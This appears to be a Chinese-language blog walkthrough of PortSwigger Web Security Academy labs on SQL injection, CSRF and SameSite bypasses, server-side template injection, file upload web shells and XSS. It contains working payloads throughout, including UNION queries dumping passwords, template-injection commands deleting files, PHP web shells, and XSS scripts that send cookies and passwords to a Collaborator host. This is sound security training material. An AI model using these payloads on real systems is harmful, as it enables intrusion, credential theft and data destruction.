2023/04/15:burplabs从0开始

这里的题目看起来更像真实的场景
可惜有点卡,下面的解答视频有一种没带眼镜的美
有完整教程,很行

SQL injection

apprentice

开网页的时间比写还久(恼)

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

第一题为get注入 单引号闭合然后1=1就完事了
有点卡反应比较慢

SQL injection vulnerability allowing login bypass

简单的万能密码,啥过滤也没有

practitoner

SQL injection UNION attack, determining the number of columns returned by the query

联合查询第一步,column的数量

一直用null测出数量

SQL injection UNION attack, finding a column containing text

union select,找到指定column,把上一题的一个null替换即可

SQL injection UNION attack, retrieving data from other tables

get传参的联合注入,直接在地址栏注就行:’+UNION+SELECT+username,+password+FROM+users–
回显在下面文章标题(?)那里,感觉很奇怪好像也很合理

SQL injection UNION attack, retrieving multiple values in a single column

1
$ ' UNION SELECT username || '~' || password FROM users--

emm大概是一种联合查询技巧以便更好的得到所需数据吧

SQL injection attack, querying the database type and version on Oracle

注入点在url栏中的category,输入单引号报错
经测试为两个字段

1
?category='+UNION+SELECT+BANNER,+NULL+FROM+v$version--

SQL injection attack, querying the database type and version on MySQL and Microsoft

与上类似,但出不来,输啥都报错

1
'+UNION+SELECT+@@version,+NULL#

SQL injection attack, listing the database contents on non-Oracle databases

本题需要获得管理员密码
经检测仍为两个字段,均回显

1
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

无NULL则报错,获得需要的user表

1
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ ...'--

查找需要的字段

1
'+UNION+SELECT+username_ ...,+password_ ...+FROM+users_ ...--

找到管理员密码,登录

SQL injection attack, listing the database contents on Oracle

与上大同小异

1
'+UNION+SELECT+'abc','def'+FROM+dual--

检测回显位需添加FROM dual语句

Blind SQL injection with conditional responses

cookie的布尔盲注
学了下咋用burp自带功能完成盲注

Cross-site request forgery (CSRF)

apprentice

CSRF vulnerability with no defenses

好像出问题了不会显示完成
进入修改email界面,随便发个包
打开burp查看记录,右键可以生成CSRF PoC

1
2
3
4
5
6
7
8
9
10
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0ae600550496b7d78117442f000a00df.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="1&#64;1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

黏贴在lab提供的服务器里

practitioner

CSRF where token validation depends on request method

需要将修改邮箱的请求由POST改为GET,删掉csrf token仍然可以被接收,若POST则提示缺失token
剩下步骤与上同

CSRF where token validation depends on token being present

只有存在csrf-token时才会验证,直接删掉就好

CSRF where token is not tied to user session

不验证token是不是与用户匹配
需要打开两浏览器分别登录两个账号才可操作
token一次性,刷新页面F12获取

cookie中存在session和csrfKey,csrfKey与token联动,缺失则失败
将cookie值改为受害者不改变token则验证通过
两个csrf无验证匹配
生成的PoC将注入脚本改为
<img src="https://...web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">

验证通过将cookie里的csrf token与请求包里的csrf参数对比是否一致
保证二者一样即可,可以瞎编
与上类似,但需保证cookie的token和参数里的token相同

SameSite Strict bypass via client-side redirect

查看POST /login,发现SameSite=Strict字段
去主页评论,注意到评论完成后会出现一个请求:/resources/js/commentConfirmationRedirect.js
查看发现代码:

1
2
3
4
5
6
7
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}

执行了重定向
修改访问帖子的网址:GET /post/comment/confirmation?postId=x,发现任意修改postId都会进行重定向,尝试路径注入/post/comment/confirmation?postId=1/../../my-account发现被重定向至my-account页面
在exploit服务器中尝试此脚本:

1
2
3
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>

发现仍然成功重定向至my-account页面,即使这个请求来源于站外
POST /my-account/change-email请求方式修改为GET形式,发送仍然有效
最终脚本:

1
2
3
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>

SameSite Strict bypass via sibling domain

跟接口有关,先放着

SameSite Lax bypass via method override

查看POST /login,没有关于SameSite的描述,为默认值Lax,发送跨站点请求首先需要为GET方式
发现/my-account/change-email拒绝接受GET,可使用GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST绕过
使用如下脚本可触发来自“top-level navigation”(如用户点击连接)的请求,实现Lax下发送session另一必须条件:

1
2
3
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

注意到没有点名SameSite=Lax,采用默认设置的方式规定Lax,这样为了避免破坏单点登录(SSO)机制,它实际上并没有对顶级 POST 请求的前120秒执行这些限制
注意到请求包:

1
2
3
4
5
GET /oauth-callback?code=rYY02PmNWe602K1kZdRy4Smr_oV9-Suy5uBKloanVzi HTTP/2
Host: 0a5b003b037e708f80969e4e00cf00e1.web-security-academy.net
Cookie: session=D154VQzIqnc2ihiyB0zaiz1DS9Vc7zq8
Cache-Control: max-age=0
...

使用OAuth验证
尝试攻击,如果登录时间在2分钟以内(距离cookie产生的时间),则攻击成功;反之则跳转,需要通过OAuth登录,攻击失败
注意到进入/social-login会自动跳转到如上的OAuth界面,即使已经登录也会产生新session cookie,可利用此界面更新cookie
通过弹窗可实现利用该界面生成新cookie绕过Lax的限制:
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
但直接弹窗会被拦截,改一下:

1
2
3
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
}

只要用户点击就会执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}

function changeEmail() {
document.forms[0].submit();
}
</script>

CSRF where Referer validation depends on header being present

删除refer请求头再生成PoC,加入<meta name="referrer" content="no-referrer">即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<meta name="referrer" content="no-referrer">
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0ad900e90352116c8177989500da0002.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="1111&#64;1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

CSRF with broken Referer validation

会检查refer头,但是类似于字符串匹配,可以加入别的东西如http://attacker-website.com/csrf-attack?vulnerable-website.com
使用此refer头可以通过,证明存在漏洞:
Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
构造PoC:
使用history.pushState()包含目标站点,以此更改url:history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net")
添加Referrer-Policy: unsafe-url以免?被删除

Server-side template injection

不少没见过的模板

practitioner

Basic server-side template injection

题目要求删除morale.txt文件,根据题目描述需要了解ERB文档查看如何执行系统命令
点击详细信息,观察上方url,存在可能注入的GET变量message
尝试注入<%= 2*2 %>,回显为4,为注入点
输入<%= system("rm /home/carlos/morale.txt") %>

Basic server-side template injection (code context)

根据提示登录账号,来到账号页面,修改名字显示
抓包,尝试可能的注入点blog-post-author-display=user.name}}{{7*7}}
发评论,名字显示中有49,存在注入点
根据描述模板类型为Tornado(Python),构造语句user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')` #### Server-side template injection using documentation 登录账号,进入商品详情区,得知模板类型为Freemarker 执行命令:`<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") ` #### Server-side template injection in an unknown language with a documented exploit 本题模板未知,先观察url的message变量存在注入点,进行尝试:`${{<%[%'"}}%\`通过报错信息可知模板为Handlebars 查询得知使用此方式执行命令:`require("child_process").exec("rm /home/carlos/morale.txt")` 使用如下方式调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
编码后上传 #### Server-side template injection with information disclosure via user-supplied objects 该题需要获得一串字符提交 使用`${{<%[%'"}}%\`获得模板为django 使用`{% debug %}查询可使用settings类,其中包含SECRET_KEY
输入{{settings.SECRET_KEY}}通关

expert

Server-side template injection in a sandboxed environment

依题意,使用Freemarker模板,需要获得my_password.txt
查找Object类,得知可通过product使用${object.getClass()}
payload:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
结果为ASCII,需转换

Server-side template injection with a custom exploit

需删除/.ssh/id_rsa文件夹
登录后更改Preferred name,检查burp的post发现user.name,使用了user对象
将其改为user后发包会报错,显示模板为Twig
在上传头像处上传php文件显示错误:

1
2
3
4
5
PHP Fatal error:  Uncaught Exception: Uploaded file mime type is not an image: application/octet-stream in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/1.php', 'application/oct...')
#1 {main}
thrown in /home/carlos/User.php on line 28

这些错误信息提供了一些关键点
继续抓修改name的包,尝试使用user.setAvatar()会在第一个博客显示报错信息,说明利用的可能
执行user.setAvatar('/etc/passwd','image/jpg')可获得接下来需要找到的目标文件
执行user.setAvatar('/home/carlos/User.php','image/jpg')获得可执行删除的函数gdprDelete()
(注意题目警告不能删错了)

File upload vulnerabilities

文件上传复习

apprentice

Remote code execution via web shell upload

用php文件,写上

1
2
3
$ <?php 
echo file_get_contents('/home/carlos/secret');
?>

把这个文件在上传头像的地方上传,然后右键在新网页打开头像即可

这个是github上找的方法比官方给的省事
可能因为网络问题用官方改数据包的方式可能失败

Web shell upload via Content-Type restriction bypass

将Content-Type改为image/jpeg或png即可

practitioner

Web shell upload via path traversal

题目目标要求获得文件/home/carlos/secret
将php一句话木马传入files文件夹以便解析
需要将文件名改为..%2fexploit.php绕过过滤
在新标签页查看即可

Web shell upload via extension blacklist bypass(没写出来)

上传.htaccess文件绕过过滤
1.将.htaccess文件内容填写为:

1
AddType application/x-httpd-php .l33t

2.上传该文件,拦截更改Content-Type头为text/plain
3.将一句话木马后缀改为.133t上传至.htaccess同文件夹
4.查看一句话木马文件即可(但我这没解析出来还是乱码)

Web shell upload via obfuscated file extension

文件名%00截断
将文件名设置为1.php%00.jpg类似即可

Remote code execution via polyglot web shell upload(没写出来)

本题类似图片马
官方wp:
准备一张jpg图片
(windows命令行)运行exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" (image_path)<YOUR-INPUT-IMAGE>.jpg -o polyglot.php
上传该文件后在新标签页打开(wp使用GET),解析其php代码
(尝试后打开还是乱码)

expert

Web shell upload via race condition

点击Hint可以查看部分原码:

1
2
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) ···

存在逻辑漏洞可使用条件竞争
官方脚本配合攻击器使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

request1 = '''<YOUR-POST-REQUEST>'''

request2 = '''<YOUR-GET-REQUEST>'''

# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')

# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')

engine.complete(timeout=60)


def handleResponse(req, interesting):
table.add(req)

Cross-site scripting

apprentice

Reflected XSS into HTML context with nothing encoded

1
<script>alert(1)</script>

直接输入搜索框即可

Stored XSS into HTML context with nothing encoded

随便点开一个帖子,把alert添加到评论里即可

检测为双引号闭合

1
"><img src=1 onerror="alert(1)">

搜索框输入

1
<img src=1 onerror="alert(1)">

还是搜索框

DOM XSS in jQuery anchor href attribute sink using location.search source

根据题目提示注入点在submit feedback page,查看源码,获得提示注入于returnPath

1
returnPath=javascript:alert(document.cookie)

DOM XSS in jQuery selector sink using a hashchange event

查看源码的<script>部分,需要使用题目提供的exploit server
在exploit server的body部分改为<iframe src="https://.....web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>(应该就是bot监听了),点击View exploit确认工作正常,点击Deliver to victim解决

Reflected XSS into attribute with angle brackets HTML-encoded

注入点在搜索框
"onmouseover="alert(1)

Stored XSS into anchor href attribute with double quotes HTML-encoded

进入随便一个博客评论区,注入点在网址添加那
javascript:alert(1)

Reflected XSS into a JavaScript string with angle brackets HTML encoded

注入点在搜索框
'-alert(1)-',对JavaScript破坏

practitioner

DOM XSS in document.write sink using source location.search inside a select element

进入商品详情页面,选择查看源码,发现存在注入点storeId

1
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

结合了模板注入,注入点在搜索框

1
{{$on.constructor('alert(1)')()}}

Reflected DOM XSS

查看源码,注入点在搜索位,输入内容以JSON形式返回
\"-alert(1)}//

Stored DOM XSS

在评论区注入

1
<><img src=1 onerror=alert(1)>

最开始的<>受到replace()的影响,替换为&lt&gt

Reflected XSS into HTML context with most tags and attributes blocked

用burp不停发包检测被列入黑名单的关键字
在exploit server使用:

1
<iframe src="https://....web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

类似“DOM XSS in jQuery selector sink using a hashchange event”

Reflected XSS into HTML context with all tags blocked except custom ones

要点在于tabindex标签

1
2
3
<script>
location = 'https://....web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

谷歌上也有用<iframe>构造的

Reflected XSS with some SVG markup allowed

根据题目意思需要<svg>标签绕过
经过测试,<animatetransform>标签可通过且可使用js

1
<svg><animatetransform onbegin=alert(1)></animatetransform></svg>

查看原代码

1
<link rel="canonical" href='https://0add00a703ba409e80aaf851005400c9.web-security-academy.net/post?postId=3'/>

可以用单引号拼接:

1
?%27accesskey=%27x%27onclick=%27alert(1)

accesskey提供快捷键来激活脚本

Reflected XSS into a JavaScript string with single quote and backslash escaped

注入点在搜索框

1
2
3
4
<script>
var searchTerms = '1\'1';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

会转义单引号,可选择闭合标签

1
</script><script>alert(1)</script>

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

与上一题类似

1
2
3
4
<script>
var searchTerms = 'i\'i';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

也是转义单引号

1
\'-alert(1)//

改为注释加入js一句话木马

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

注入点在博客的评论区添加网页链接处
输入的内容会添加在<a>标签内

1
http://foo?&apos;-alert(1)-&apos;

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

转义特殊字符,结合模板

1
${alert(1)}

Exploiting cross-site scripting to steal cookies

这题需要用Burp Collaborator外带获得session值

1
2
3
4
5
6
7
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

https://BURP-COLLABORATOR-SUBDOMAIN在Collaborator内复制,将该脚本注入于博客评论区
查看Collaborator中有secret字段的返回包,复制swssion值
点击home并拦截修改session

Exploiting cross-site scripting to capture passwords

与上类似,需要获得密码登录

1
2
3
4
5
6
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://...',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Exploiting XSS to perform CSRF

注入点在评论区,登录后选择更改邮箱,抓包发现有个CSRF token

1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>